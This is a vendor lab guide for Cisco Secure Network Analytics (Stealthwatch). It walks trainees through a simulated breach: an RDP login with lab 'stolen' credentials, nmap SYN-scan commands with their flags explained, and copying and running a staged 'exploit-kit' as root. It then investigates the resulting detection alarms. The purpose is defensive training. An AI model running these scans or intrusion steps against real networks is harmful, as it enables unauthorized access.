| Filter by Host Group Name  | Catch All Host Group ID: 85534<br>Host Group Name *<br>Catch All<br>Parent Host Group<br>Inside Hosts<br>Description (512 Char Max)                                | Network Classification<br>Services<br>Applications<br>Response Management<br>Domain Properties<br>Flow Collectors<br>Exporters | Advanced Options  Advanced Options Category Advanced Options Category Category Category Cognitive Intelligence  |
| <ul> <li>Outside Hosts</li> <li>Authorized to Protected Assets</li> <li>Bogon</li> <li>Command &amp; Control Servers</li> <li>Tor</li> </ul> | IP Addresses And Ranges<br>10.0.0.0/8<br>192.168.0.0/16<br>172.16.0.0/12<br>1600:/7<br>198.18.<br>198.19.30.37-198.19.255.255<br>198.19.0.0-198.19.30.35<br>Import | IP Addresses and Ranges  | <ul> <li>Default (include north-south traffic for this group)</li> <li>Extend coverage with east-west, server-oriented traffic for this group</li> <li>Selecting this option will send additional traffic to Cognitive Information Servers</li> <li>Exclude all traffic for this group</li> </ul> |

Reference the tree structure as we describe the basics of Host Groups. Host Groups offer flexibility in the way you can organize hosts or assets within your organization. In general, hosts can belong to multiple groups allowing you to apply your own business logic. In addition, you can define policies per host group and/or per host. A host group is essentially a virtual container of multiple host IP addresses or IP address ranges that have similar attributes, such as location, function, or topology. By grouping hosts into host groups, you can control how the Stealthwatch Flow Collectors monitor and respond to the behavior of those hosts as a group, rather than individually.

In the steps above we had you remove a group of IP addresses from the "Catch All" group.

The Catch All group in Stealthwatch performs a special function within the product. The contents of the Catch All group establish what IP addresses a company utilizes, owns, or otherwise controls. By default, this includes all private IPv4 and IPv6 address space. What should be added to the Catch All group is all the customer's public IP address space. We had you remove a group of public IP space that is part of this lab, but we want to treat them as outside for the remainder the exercise. In a later lab you will see how host group automation takes place.

By default, each SMC domain contains the following top-level host groups to which you can add sub host groups for easier reporting and more focused behavioral analytics:

- 1. Inside Hosts Contains all host groups whose hosts have been specifically defined as being a part of your network. Make note of example groups such as Compliance Systems, Protected Asset Monitoring, and Trapped Hosts Honeypot.
- 2. Outside Hosts Contains all host groups whose hosts have not been specifically defined as being a part of your network. Make not of the sub groups such as Authorized External DNS Servers, Countries, Customer Reputation List, and Trusted Internet Hosts.
- 3. (optional) **Command & Control** and **Tor** These are optional feeds you can subscribe to for automated updates of new command and control servers and Tor entry and exit nodes.

| ilter by | Host Group Name                     | Catch All Host Group ID: 65534 |
|----------|-------------------------------------|--------------------------------|
| , elelou | d                                   | Host Group Name *              |
|          | Inside Hosts •••                    | Catch All                      |
| 9        | 📀 Catch All •••                     | Darent Host Group              |
| •        | Business Units •••                  | Inside Hosts                   |
| ►        | By Function •••                     | _                              |
|          | By Location •••                     | Description (512 Char Max)     |
|          | Compliance Systems •••              |                                |
|          | Protected Asset Monitoring •••      |                                |
|          | Trapped Hosts - Honeypot ···        |                                |
| 27.      | Outside Hosts ····                  | ID Addresses And Dennes        |
| <u> </u> | Content Networks                    |                                |
| •        | Countries •••                       | 10.0.0/8 192.168.0.0/16        |
|          | Custom Reputation List •••          | 172.16.0.0/12                  |
| •        | Trusted Internet Hosts ····         | fc00::/7                       |
|          | Authorized to Protected Assets ···· | 198.19.0.0-198.19.30.35        |
|          | Bogon •••                           | 198.20.                        |
|          | Operational & Operational Constants |                                |

### Summary

In this Validate Wkst1 lab, you:

- Became familiar with Wkst1 to which you connected in the datacenter.
- Learned that all network conversations are accounted for from this machine through NetFlow collection.
- Learned how to run a basic Flow Search in Secure Network Analytics to see all https flow between your Wkst1and the Internet (Outside Hosts).
- Learned the basics of what a Host Group is and editing the Catch All group.



### Lab 1. Remote access breach using stolen credentials

According to a Ponemon Institute Cost of Data Breach Study of 419 companies in 13 countries, \$3.62 million is the average total cost of a data breach. To help combat this, it is critical to try to account for 100% of network conversations to detect threats that bypass traditional monitoring solutions.

Review the supporting lab video overview here > <u>https://cs.co/SWTestDrive-Lab1</u>

### About breach detection

To help get into the mind of an attacker, take a minute to review the persona of "Harry the Hacktivist" and how he operates. Understanding the attacker can help you build solutions to defend your organization.



Using the image below, ensure you are collecting full NetFlow somewhere along the path between the attacker and victim IP.



## **Test Drive Objectives**

In this test drive, you will see first-hand the importance of capturing flow data from as close to the endpoints as possible to be able to account for all active and historical network conversations.

### **Test Drive Requirements**

- Stealthwatch Management Console (SMC) any version
- Stealthwatch Flow Collector any version
- Any version of NetFlow from within the network

## **Test Drive Outline**

- Task 1. Connect to a server running Remote Desktop within a datacenter
- Task 2. Download an exploit-kit and perform reconnaissance
- Task 3. Install exploit-kit
- Task 4. Investigate Security Events generated in Secure Network Analytics



### Task 1: Connect to a Remote Desktop server within a data center

Below is a list of realities of why you need to build stronger defenses beyond access control lists or firewalls:

- Firewalls are as good as the person implementing them, mistakes happen.
- If the access control policy is misconfigured and any rule is moved to the top, how would you detect this before?
- Detect threats when an authorized server is used with stolen credentials.
- Account for all traffic on the inside of the firewall so you can build a general ledger of both authorized and non-authorized traffic making it through the firewall and provide a second chance detection.

**Scenario:** You have been performing reconnaissance against an organization and have identified a remote desktop server that is exposed to the Internet. You have discovered the below credentials to the server and begin building a foothold inside the organization. In this lab, you will need to access Wkst1, which gives you access to all data center resources.

Note: If Remote Desktop is already up, move to Task 2.

Otherwise, click **Remote Desktop** link to launch a web Remote Desktop session built within dCloud shown below.

**Note:** Username = wkst = **Administrator**. Password = **C1sco12345**.

| - ASAv    | RDP   |
|-----------|---|
| CSR Wkst1 | X<br>IP Address:<br>198.19.30.36<br>Credentials:<br>username: wkst1\administrator<br>password: C1sco12345 |
|           | Remote Desktop  |

You are now inside the organizations data center by leveraging a server exposed to the Internet and using stolen credentials!



### Task 2: Download an exploit-kit and perform reconnaissance

Now that you are inside the data center, let's download some tools to make it easier to build a foothold and begin breaching the organization further. One of the first phases of any attack is reconnaissance. Various open source tools are available to attackers. In order to break the Cyber Kill Chain, detection tools must be able to identify when this type of attack is occurring.

We are going to find targets to connect to through scanning activity and attempt to identify vulnerabilities in the target network.

- 1. From Wkst1, open the Downloads folder within Windows Explorer and double-click the git-material.sh script.
- Open the lab-exploit-kit folder double click on recon.bat which will search for common management ports (22 = ssh, 23 = telnet, and 3389 = Remote Desktop).
- 3. The recon.bat will pause so you can see the below nmap scan is what is running. Press any key to continue the scan. nmap -n -v -Pn -sS -p 22,23,3389 198.19.20.0/24 --disable-arp-ping

| OpenOffice<br>4.1.7 (en-U |   |   |   |            |
|---------------------------|---|---|---|------------|
| update AWS-Jump           | ↓   ♥ G マ   Downloads     File Home Share   | - · · ×   | 1     Image: Collision Share     Mage: Image: Collision Share     Mage: Image: Collision Share       File:     Hone:     Share     View     Application Tools   |            |
| update Host<br>Groups     | Pin to Quick Copy Paste<br>access<br>Clipboard  | → Downl ✓ Č ,   | Image: Second Copy Path Rev             |            |
| pxgrid.pem CSR Config     | ✓ Quick access Desktop ≠ Downloads ≠  | Name<br>V Last week (2)<br>I lab-nfa  | Downhow's     Pownhow's     Pownhow's   |            |
| Recycle Bin WinSCP        | Documents Pictures finalcert Music Videos   | Last month (3)      Joint and the second secon | Music     instal-exploit/Lish     Starting Nmap 7.50 ( https://nmap.org ) at 202       ✓ Vdeos     instal-exploit/Lish     Starting SVN Stealth Scan at 06:29       © bektop     Enatex     Scanning 256 hosts [3 ports/host]       © bektop     Discovered open port 3389/tcp on 198.19.20.6   |            |
| Cisco<br>Stealthwat       | Desktop  OneDrive  Administrator  This PC   | /   | Controller     C |            |
| Chrome                    | This PC     To a strong point of the stro |   | Documents  Downloads  Inbicontent   |            |
| cmd.exe                   | 5 items 1 item selected<br>Date created: 12/4/2020 11:51 AM   | A Computer  | 10 Atems I Atem selected 130 bytes Computer   | >          |
| Postman                   |   |   |   |            |
| P Type here t             | to search   | O ☐ Downloads   | C:\Users\Administr 💿 🔤 C:\WINDOWS\syst  | ^ <b>F</b> |

**Note:** The scan could take over 5 minutes to complete. When complete, you will see results like those shown in the screenshot below.



2. Make note of the number of hosts scanned and scroll through to see what hosts are listening on given ports. You will see the host 198.19.20.134 as one of the results listening on SSH 22/tcp. This will be the host in the next lab that is compromised.

| GE C:\Windows\system32\cmd.exe                                     |
|--|
| 22/tcp filtered ssh  |
| 23/tcp filtered telnet   |
| 3389/tcp filtered ms-wbt-server                                    |
|  |
| Nmap scan report for 198.19.20.253                                 |
| Host is up.  |
|  |
| PORT STATE SERVICE   |
| 22/tcp filtered ssh  |
| 23/tcp filtered telnet   |
| 3389/tcp filtered ms-wbt-server                                    |
| North State 100, 10, 20, 254                                       |
| Nmap scan report for 198.19.20.254                                 |
| Host is up.  |
| PORT STATE SERVICE   |
| 22/tcp filtered ssh  |
| 23/tcp filtered telnet   |
| 3389/tcp filtered ms-wbt-server                                    |
|  |
| Nmap scan report for 198.19.20.255                                 |
| Host is up.  |
|  |
| PORT STATE SERVICE   |
| 22/tcp filtered ssh  |
| 23/tcp filtered telnet   |
| 3389/tcp filtered ms-wbt-server                                    |
| Read data files from: (:\Program Files (x86)\Nman                  |
| Nman done: 256 TP addresses (256 hosts un) scanned in 5 79 seconds |
| Raw packets sent: 1511 (66 484KB)   Rcvd: 59 (2 824KB)             |
| Press any key to continue  |

What does the nmap commands mean?

-n: Tells Nmap to *never* do reverse DNS resolution on the active IP addresses it finds. Since DNS can be slow even with Nmap's built-in parallel stub resolver, this option can slash scanning times.

-v: verbose meaning shows the contents on the screen.

-Pn: (no ping) This option skips the Nmap discovery stage altogether. Normally, Nmap uses this stage to determine active machines for heavier scanning. By default, Nmap only performs heavy probing such as port scans, version detection, or OS detection against hosts that are found to be up. Disabling host discovery with -Pn causes Nmap to attempt the requested scanning functions against *every* target IP address specified.

-sS: This is the most popular scan type because it the fastest way to scan ports of the most popular protocol (TCP). It is stealthier than connect scan, and it works against all functional TCP stacks (unlike some special-purpose scans such as FIN scan).

-p: Port scan on multiple ports. In this case ports 22, 23 and 3389

--disable-arp-ping: Nmap normally does ARP or IPv6 Neighbor Discovery (ND) discovery of locally connected Ethernet hosts, even if other host discovery options such as -Pn or -PE are used. To disable this implicit behavior, use the --disable-arp-ping option.

The default behavior is normally faster, but this option is useful on networks using proxy ARP, in which a router speculatively replies to all ARP requests, making every target appear to be up according to ARP scan.

### Task 3: Install exploit-kit

Let's SCP and install the exploit-kit on one of the servers identified during the network scan.

1. Open WinSCP from the Desktop as shown below. Note: If an update appears, ignore the update.

- 2. Select **CDS** (which is one of the servers identified in the previous scan) as shown below.
- 3. Select Login and if a password box appears insert C1sco12345 for the password.

|                     | Sa WinSCP   |                              | _ 🗆 🗙    |
|---------------------|---|------------------------------|----------|
|                     | Local Mark Files Commands Session Options Remote Help |                              | 1        |
| Chrome              | Vew Session   | Session                      |          |
|                     | ≝ C: ▼ ≝ ▼ 🕎 📮 ASAV                                   | File protocol:               | Files Ro |
| 1                   | C:\Users\Administri                                   | Host name: Port number:      |          |
| WinSCP              | Name A EC   | 198.19.20.134 22             | hanged   |
|                     | FS  | User name: Password:<br>root |          |
|                     | install-exploit-ki SMC                                | Edit Advanced                |          |
| PuTTY               | C README.md   |                              |          |
| Cisco<br>Stealthwat | Smb-malware.b:  |                              |          |
|                     | Tools   | 3 🖸 Login 🔻 Close Help       |          |
| Git Bash            | 0 B of 10.8 MB in 0 of 6 1 hidden<br>Not connected.   |                              |          |
| cmd.exe             |   |                              |          |
| 灯 Start 🚆 💬 📀 🍡 Wa  | nSCP  |                              |          |

- 5. Within the left panel of **WinSCP**, browse to c:\Users\Administrator.WKST1\Downloads\lab-exploit-kit on the left-hand navigation pane, as shown below.
- 6. **Highlight** install-exploit-kit.sh and install-exploit-kit.tar
- 7. **Drag and drop** install-exploit-kit.sh and install-exploit-kit.tar within **root** in the right pane, as shown below.
- 8. Close WinSCP when the transfer is complete.

| 🛅 lab-exploit-kit - CDS - WinSCP                        |                               |                                 |          |
|---|-------------------------------|---------------------------------|----------|
| Local Mark Files Commands Session Options Remote Help   |                               |                                 |          |
| 🔛 🚟 📚 Synchronize 🗾 🦑 💽 🛞 🎯 Queue 🔹 📑                   | Fransfer Settings Default 🔹 🛃 | , -                             |          |
| CDS X 💣 New Session                                     |                               |                                 |          |
| 🏭 C: Local Disk 🔹 🚰 🔹 🕎 🔹 (🖛 🔹 🖚 🔹 😭 🎧 🎜                | 🔓 🔒 root 🔹 🚰 • 🟹 • া 🖛 • 🖚    | - 💼 🔽 🏠 🎜 🔯 Find Files 🖁        |          |
| Upload - ZEdit - X 🔏 🕞 Properties 💙 💽                   | » 🕞 Download - 📝 Edit - 🗙 🛃 🕞 | Properties 🚰 New - 💽 🗹          |          |
| C:\Users\Administrator.WKST1\Downloads\lab-exploit-kit\ | /root/                        |                                 |          |
| Name  | Name                          | Size Changed                    | Rights   |
| <b>8</b>  | <b>a</b>                      | 5/3/2017 10:58:05 AN            | A rwxr-> |
| install.readme.txt                                      | 🌙 archived                    | 11/9/2017 1:32:58 PM            | 1 rwxr-x |
| 🚳 install-exploit-kit.sh                                | 🔒 bashkit                     | 5/8/2018 2:20:37 PM             | rwxr-x   |
| 📄 install-exploit-kit.tar                               | 🔒 push                        | 8/3/2017 2:29:48 PM             | rwxr-x   |
| README.md   | 📕 working                     | 10/5/2017 3:30:11 PN            | 1 rwxr-x |
| 🚳 recon.bat   | encrypted-customer-DB         | 387,943 KB 1/23/2019 1:10:19 PM | 1 rw-r   |
| smb-malware.bat   | firstrom                      | 21 KB 11/15/2017 2:55:53 PI     | M rwxr-x |
|   | nft_trace.log                 | 0 KB 8/18/2019 12:01:01 A       | M rw-r   |
|   | 📄 nreplay.log                 | 3,111 KB 8/18/2019 5:19:06 PM   | nw-r     |
|   | smcpush                       | 12 KB 8/2/2017 5:57:19 PM       | rwxr-x   |
|   | tools                         | 7 KB 3/6/2017 9:08:17 AM        | rwxr-x   |
|   |                               |                                 |          |



9. From the Wkst1 desktop, open Putty and use the CDS session to SSH into 198.19.20.134 (which is the server we installed the exploit-kit on) with username root.

| Category:  |   |  |
|--|---|--|
| <ul> <li>⇒ Session</li> <li>Logging</li> <li>⇒ Terminal</li> <li>→ Keyboard</li> <li>→ Bell</li> </ul>   | Basic options for your Pu<br>Specify the destination you want to<br>Host Name (or IP address)<br>198.19.20.134  | TTY session<br>o connect to<br>Port<br>22                                    |
| Features     Features     Window     Appearance     Behaviour     Translation     Selection     Colours     Connection     Poxy     Telnet     Rlogin     SSH     SSH     Serial | Connection type:<br>C Raw C Telnet C Rilogin<br>Load, save or delete a stored sessi<br>Saved Sessions<br>CDS<br>Default Settings<br>ASAv<br>CDSP<br>CDSP<br>CDSP<br>CSR<br>EC<br>FCNF | <ul> <li>SSH ⊂ Serial</li> <li>Load</li> <li>Save</li> <li>Delete</li> </ul> |
| About  | C Always C Never C D  | nly on clean exit  |

- 10. Enter the password C1sco12345 when prompted in the Putty session window.
- 11. Once logged in, enter **pwd** to make sure you are in the **root** directory. This is where you placed the exploit files.
- 12. Run the "./install-exploit-kit" command, as shown below to install the tools used to create a foothold within the organization.
- 13. Run Is -I and make note that the exploit kit has captured a customer database with the name **encrypted-customer-DB**. You can exit out of the SSH session.

| 🔗 CDS                             |             |      |     |       |                         | - 0 > |
|-----------------------------------|-------------|------|-----|-------|-------------------------|-------|
| <pre>[root][CDS][~]# pwd</pre>    | 1           |      |     |       |                         |       |
| /root                             |             |      |     |       |                         |       |
| <pre>[root][CDS][~]# ./inst</pre> | all-exploit | t-ki | t 🜔 | 12    |                         |       |
|                                   |             |      |     |       |                         |       |
| Install complete.                 |             |      |     |       |                         |       |
| [mont][CDS][_]# ls _]             | 12          |      |     |       |                         |       |
| total 402148                      |             |      |     |       |                         |       |
| drwxr-xr-x 2 root root            | 4096        | ITT  | 9   | 2017  | archived                |       |
| drwxr-xr-x 4 root root            | 4096        | May  | 8   | 91 2  | bashkit                 |       |
| -rw-rr 1 root root                | 397253194   | Sep  | 7   | 14:45 | encrypted-customer-DB   |       |
| -rwxr-xr-x 1 root root            | 21175       | Nov  | 15  | 2017  | firstrun                |       |
| -rwxr-xr-x 1 root root            | 4089        | Sep  | 7   | 14:46 | install-exploit-kit     |       |
| -rw-rr 1 root root                | 4179        | Sep  | 7   | 14:48 | install-exploit-kit.sh  |       |
| -rw-rr 1 root root                | 11325952    | Sep  | 7   | 14:48 | install-exploit-kit.tar |       |
| -rw-rr 1 root root                | 0           | Sep  | 7   | 00:01 | nft_trace.log           |       |
| -rw-rr 1 root root                | 2724848     | Sep  | 7   | 14:49 | nreplay.log             |       |
| drwxr-xr-x 3 root root            | 4096        | Aug  | 3   | 2017  | push                    |       |
| -rwxr-xr-x 1 root root            | 11949       | Aug  | 2   | 2017  | smcpush                 |       |
| -rwxr-xr-x 1 root root            | 6926        | Mar  | 6   | 2017  | tools                   |       |
| drwxr-xr-x 4 root root            | 4096        | Oct  | 5   | 2017  | working                 |       |
| [root][CDS][~]#                   |             |      |     |       |                         |       |
|                                   |             |      |     |       |                         |       |
|                                   |             |      |     |       |                         |       |

### Task 4: Investigate security events generated in Secure Network Analytics

Secure Network Analytics will have stored flow records for all north-south and east-west connections to the Remote Desktop server and detected the attack traffic that was initiated in the previous labs. While not covered in this document, you could have also received an alert via email or a syslog message to your SIEM as the attack was unfolding.

 Return to the SMC WebUI. If you need to reopen the SMC, use Chrome from the WKST1 remote desktop session and select the SMC (WebUI) form the Appliances bookmark folder. Login with username admin and password C1sco12345.



2. Type the IP address of WKST1 in the search window, by selecting the magnifying glass in the top right hand corner. Insert **198.19.30.36**, and press enter as shown below.

| Stealthwatch                    | Dashboards       | Monitor An        | alyze Jobs        | Configure | Deploy |      |       | 2    | 9    |             | Desktop Client |
|---------------------------------|------------------|-------------------|-------------------|-----------|--------|------|-------|------|------|-------------|----------------|
| Inside Hosts : 198.19.30.36 (1) |                  |                   |                   |           |        |      |       |      |      | 198.19.30.3 | 86 I           |
| Current Filters                 | Host             | × <b>0</b>        |                   |           |        |      |       |      |      | 6           |                |
| Clear All                       | Host Address     | Host Name         | Last Active       | ¢ ci      | \$ ті  | ‡ RC | ‡ C&C | ‡ EP | ‡ ds | ÷           | ¢ DH ;         |
| Filter Results By:              | 198.19.30.36 😔   | wkst1.dcloud.loca | I. 9/7/19 1:08 P! | M 1,987%  | 1%     | 31%  |       |      |      |             | 303%           |
|                                 | First Previous 1 | Next Last         |                   |           |        |      |       |      |      |             |                |

- 3. Make note of the high percentages under the below categories.
  - a. The categories are like reputation scores that show the host is a Concern, for it is exceeding the normal level of Concern and Reconnaissance for this host.

CI = Concern Index

RC = Reconnaissance

4. Click the IP address **198.19.30.36** to open the **Host Report**.

Investigate the following sections within the Host Report for **198.19.30.36** as shown below.

- 1. The row across the top shows the alarm categories that have triggered: Concern Index and Recon.
- 2. Host Summary will display the status, hostname (if applicable), Host Groups, seen dates, allow you to apply Adaptive Network Control Policy to the host with the Identity Services Engine (ISE), and/or select Flows to investigate the host further.
- 3. Traffic by Peer Host Groups will provide a visual of flows east-west to other internal hosts (on the left) and north-south to hosts on the Internet (on the right.)
- 4. Alarms by Type will display alarms triggered in the past 7 days.
  - a. Make note of the "CSE: Possible Remote Access Breach" and "Addr\_Scan/tcp" alarms.
  - b. The CSE is a custom security event setup to alarm any time an outside host successfully connects inside the network over a remote access protocol like RDP. CSEs can be setup to help audit and detect segmentation policy violations.





- 5. Scrolling down the page and observe that the **Top Security Events** section will illustrate any security event this host was engaged in as the Source or Target. Notice the Addr\_Scan events with the targeted port and target hosts. These events generated from the reconnaissance scans in the previous lab, as shown below.
- 6. The Users & Sessions section will display user information gathered from ISE such as MAC address, device type, and logged in username.
- 7. The Application Traffic Internal will display the top application usage trends for this host within the network.
- 8. The Application Traffic External will display the top application usage trends for this host to the Internet.

| Тор | Security Events for 198.1      | 9.30.36   |                     |                   |                     | 5 Source (10)     | Target (5)             |
|-----|--------------------------------|-----------|---------------------|-------------------|---------------------|-------------------|------------------------|
|     | SECURITY EVENT                 | COUNT     | CONCERN INDEX       | ✓ FIRST ACTIVE    | TARGET HOST         | TARGET HOST GROUP | ACTIONS                |
| •   | High Total Traffic             | 101       | 478,483             | 09/07 4:50:00 AM  | Multiple Hosts      |                   | Θ                      |
| +   | Addr_Scan/tcp - 3389           | 510       | 340,000             | 09/07 1:19:48 PM  | 198.19.20.0/24 💿    | Catch All         | Θ                      |
| •   | Addr_Scan/tcp - 23             | 504       | 336,000             | 09/07 1:19:47 PM  | 198.19.20.0/24 💽    | Catch All         | 0                      |
| •   | Addr_Scan/tcp - 22             | 482       | 320,000             | 09/07 1:19:48 PM  | 198.19.20.0/24 💽    | Catch All         | 0                      |
| •   | Suspect Data Hoarding          | 20        | 34,814              | 09/07 10:25:00 AM | Multiple Hosts      |                   | Θ                      |
| •   | Addr_Scan/udp - 443            | 16        | 4,800               | 09/07 11:55:56 AM | 172.217.7.0/24 🕢    | United States     | Θ                      |
| •   | Flow_Denied - 443              | 4         | 648                 | 09/07 9:39:23 AM  | 172.217.15.67 💮     | United States     | O                      |
| •   | Flow_Denied - 443              | 4         | 648                 | 09/07 7:29:53 AM  | 140.82.114.4 💮      | United States     | Θ                      |
| •   | Flow_Denied - 443              | 3         | 486                 | 09/07 9:48:30 AM  | 184.84.72.14 😔      | United States     | Θ                      |
| ÷   | Flow_Denied - 443              | 3         | 486                 | 09/07 7:31:27 AM  | 140.82.113.3 🕣      | United States     | Θ                      |
|     |                                |           |                     |                   |                     | View              | More Security Events > |
| Use | ers & Sessions                 |           | Application Traffic |                   |                     |                   | al External            |
| 6   | No User/Sessions information a | vailable. | Application         | Total %           | Sent Ratio Received | 7-day Trend       | 24-hour Trend          |



9. Scroll back up on the host report and click the alarm type of .CSE: Possible Remote Access Breach as shown below.

**Note**: It is easier to "Deselect All" below the legend of the Alarms by Type and just select .CSE: Possible Remote Access Breach to make it easier to select the desired alarm.



This will pull back a list of alarms as shown below.

- 1. The **Source Host Groups** that connected. Hover over the name and you will see the host in coming from Outside Hosts > Countries > Other > Unknown.
- 2. The **Source** host that connected.
- 3. The Target host (the Remote Desktop Server you are connected to.)
- 4. Select the **Actions** circle.
- 5. Click View Flows and run a flow query to investigate further.

| cisco S  | Stealthwatch dcloud -        | Das                                       | shboards • Monitor • | Analyze + Jobs + | Configure - De | eploy •      |        | C                                  | L ¢     | <u>+</u> |
|----------|------------------------------|---|----------------------|------------------|----------------|--------------|--------|------------------------------------|---------|----------|
| .CSE: Po | ssible Remote Access Bre     | each   198.19.30.36 (;                    | 2)                   |                  |                |              |        | View Flows 5 Edit                  |         |          |
| Alarms   |                              |   |                      |                  |                |              |        | Top Reports ><br>External Lookup > |         |          |
| First Ac | tive Source Host Groups      | Source                                    | Target Host Groups   | Carget           | Policy         | Event Alarms | Source | Tune Alarm                         | Actions |          |
|          | A <u>known</u>               | 198.19.255.135 •••                        | File Servers         | 198.19.30.36 ••• | Outside Hosts  |              |        |                                    | М       |          |
|          | AM Onkn Outside Hosts > Coun | 108 10 255 135<br>tries > Other > Unknown | File Servers         | 198.19.30.36 ••• | Outside Hosts  |              |        | Subject IP: 198.19.255.135         | 🦳       | /        |
|          |                              |   |                      |                  |                |              |        | Peer IP: 198.19.30.36              |         |          |



Explore more within the interface and select the context sensitive Secure Network Analytics Help on various screens shown below. The context sensitive help will assist in explaining the information displayed on various reports.

| 🖅 Flow Search Results   Stealthwate 🗙 🕂 |                                      |                           |                             |                    |               |               |                          | <u>9</u> X |
|---|--------------------------------------|---------------------------|-----------------------------|--------------------|---------------|---------------|--------------------------|------------|
| ← → C ☆ ▲ Not secure   https://1        | 98.19.20.136/lc-landing-page/smc.htm | l#/flowAnalysis/results/5 | 5c4ff43c60b2c3c452          | 56a663/5c4ff43c60k | 2c3c45256a664 |               | ☆                        | Θ :        |
| 🗰 Apps 📃 Appliances 📃 Splunk 🌑 ISE-PI   | C 🧧 Test Sites 🛛 Disco Box           |                           |                             |                    |               |               |                          |            |
| diglo Stealthwatch                      | Dashboards                           | Monitor Analyz            | e Jobs                      | Configure          | Deploy        | 0             | 🕑 🔅 🛛 Desktop C          | lient      |
| Flow Search Results (1)                 |                                      |                           |                             |                    |               | 4             | Stealthwatch Online Help | 2          |
| Edit Search 01/27/2019 11:00 PM - 01    | /28/2019 10:45 PM (Time R 2,000 (M   | lax Records)              |                             |                    | Save Search   | Save Result   | About Stealthwatch       |            |
| Subject: 198.19.255.135 Either (0       | Drientation)                         |                           |                             |                    |               | 100% Co       | Change Password          | sh         |
| Connection: All (Flow Direction)        |                                      |                           |                             |                    |               |               | Logout                   | - 1        |
| Peer: 196.19.20.36 (Host IP Add         | ress)                                |                           |                             |                    |               |               |                          |            |
| 0                                       |                                      |                           |                             | Mar                | nage Columns  | Summary       | Export 🗸 😑               |            |
| START DURATION                          | SUBJECT IP A SUBJECT NAT             | SUBJECT POR               | SUBJECT HO                  | SUBJECT BYT        | SUBJECT PRO   | SUBJECT PRO   | SUBJECT PAR APPL         | .IGAT      |
| Ex. 06/09/2 Ex. <=50min4(               | Ex. 10.10.10.1                       | Ex. 57100/UD.             | Ex. <sup>#</sup> catch All* | Ex. <=50M          | Ex. chrome.ex | Ex. chrome.ex | Ex. chrome.ex Ex.        | Corp.      |

## Summary

Within this test drive, you learned:

- How to generate traffic crossing a NetFlow exporter that will cause Secure Network Analytics alarms to trigger.
- How to investigate using Secure Network Analytics for reconnaissance alarms and other security events.



### Lab 2. Monitor trusted third-party and VPN access

It is important to monitor 3rd party and employee VPN access to better protect your organizations intellectual property and customer data. When threats are detected, it is critical to be able to provide rapid threat containment.

Watch the supporting lab video overview here > <u>https://cs.co/SWTestDrive-Lab2</u>

## **Test Drive Objectives**

This lab will familiarize you with the Network Visibility Module and its integration with Secure Network Analytics along with rapid threat containment using ISE. AnyConnect is not just a VPN Client anymore and has not been for quite some time with its modular approach to providing security services. In this lab, we will focus on the Visibility provided by AnyConnect and ISE for threat containment.

## **Test Drive Requirements**

- Stealthwatch Management Console (SMC)
- Stealthwatch Flow Collector
- Cisco Identity Services Engine (ISE)
- AnyConnect 4.2 or later
- Any version of NetFlow meeting the minimum supported fields mentioned in the NetFlow lab.

### **Test Drive Outline**

- Task 1. Gain visibility into user and endpoint behavior with the NVM Module
- Task 2. Initiate attack traffic
- Task 3. Block host with ISE ANC

### Task 1: Gain visibility into user and endpoint behavior with NVM

AnyConnect Secure Mobility Client increases visibility and control across the extended network, preventing compromised endpoints from gaining access to critical resources. In this lab we will be observing:

• Visibility into user and endpoint behavior with the Network Visibility Module (NVM)

Cisco AnyConnect NVM leverages the Network Visibility Flow, or *nvzFlow* (pronounced: en-vizzy-flow) protocol to capture user and endpoint behavior both on and off-premise. The job of nvzFlow is to collect flows from endpoints, along with a small set of high-value data related to each flow originating from the endpoint in a lightweight manner in standard IPFIX records. This empowers flow collection solutions to leverage this rich data to create visibility into user and endpoint behavior and as well as long term trending and analytics.

The five key visibility categories conveyed by the protocol or Enhanced Context are:

- User
- Device
- Application
- Location
- Destination
- From <u>https://dcloud.cisco.com</u>, My Hub, Sessions, click View for the Cisco Secure Network Analytics Customer Test Drive 7.3.0 lab and log into the Remote Workstation as shown below.



2. Once logged into the remote workstation an AnyConnect client should pop up as shown below:

| Sisco AnyConnect   Corporate VPN - Employees → |  | Х |   |     |
|--|--|---|---|-----|
|  | Please enter your username and password.<br>Username: employee |   | 🕥 Cisco AnyConnect Secure Mobility Client — 🗌 | ×   |
|  | Password:  |   | Please enter your username and password.      |     |
|  | OK Cancel  |   | Corporate VPN - Employees 🗸 Connect           |     |
|  |  |   | ¢ ()  | sco |

3. Select Connect and login with username employee and password: C1sco12345.

 $\textcircled{\sc c}$  2021 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information.

### Lab Guide

Cisco dCloud

4. You should see the below stating the connection has taken place



| 🕙 Cisco AnyConnect Secure Mobility Client — 🗆 🗙 |   |       |            |                  |  |  |  |
|---|---|-------|------------|------------------|--|--|--|
|   | <b>VPN:</b><br>Connected to Corporate VPN - Employ<br>Corporate VPN - Employees | vees. | Disconnect |                  |  |  |  |
| 00:00:06  |   |       | IF         | ₽v4              |  |  |  |
| <b>\$</b> (i)                                   |   |       |            | alialia<br>cisco |  |  |  |

Open the command prompt from the Desktop of the remote workstation and perform an ipconfig.

1. Pay attention to the IP address for Ethernet 2 as shown below which should be 198.19.10.100.



2. This IP address was assigned by the VPN connection and will be investigated within the lab.

Employees and contractors regularly take their laptops home to work. While the laptop is protected on your organizations network, it is not protected on their home network. The employee not only does work on the laptop but browses the web as well.

### Task 2: Initiate attack traffic

The attacker has installed malware on the remote PC to obtain valid user credentials. Next the attacker will use various tools to gain visibility into the network layout of the organization.

- 1. Once you have logged into AnyConnect, open up **Zenmap** from the desktop.
- 2. In the Target field of Zenmap insert the following command:
- 3. nmap -sS -v -n -Pn 198.19.20.0/24 -- disable-arp-ping as shown below:

| 🧆 Zenmap   |            |  |  |  |  |  |  |
|--|------------|--|--|--|--|--|--|
| Sc <u>a</u> n <u>T</u> ools <u>P</u> rofile <u>H</u> elp   |            |  |  |  |  |  |  |
| Target: 198.19.20.0/24                                     | ✓ Profile: |  |  |  |  |  |  |
| Command: hmap -sS -v -n -Pn 198.19.20.0/24disable-arp-ping |            |  |  |  |  |  |  |

4. While the scan executes read the following article:

https://www.zdnet.com/article/fbi-warns-companies-about-hackers-increasingly-abusing-rdp-connections/

- 5. Once the scan displays the ports for **198.19.20.10** cancel the scan as the attacker has the information, he/she needs to elevate privileges.
  - a. The scan reveals an active directory server.

| Nmap Output  | Ports / Hosts                            | Topology  | Host Details | Scans |  |  |  |  |  |
|--|--|-----------|--------------|-------|--|--|--|--|--|
| nmap -n -v -Pn -s\$ 198 19.20.0/24disable-arp-ping |  |           |              |       |  |  |  |  |  |
| Nmap scan re                                       | Nmap scan report for <b>198.19.20.10</b> |           |              |       |  |  |  |  |  |
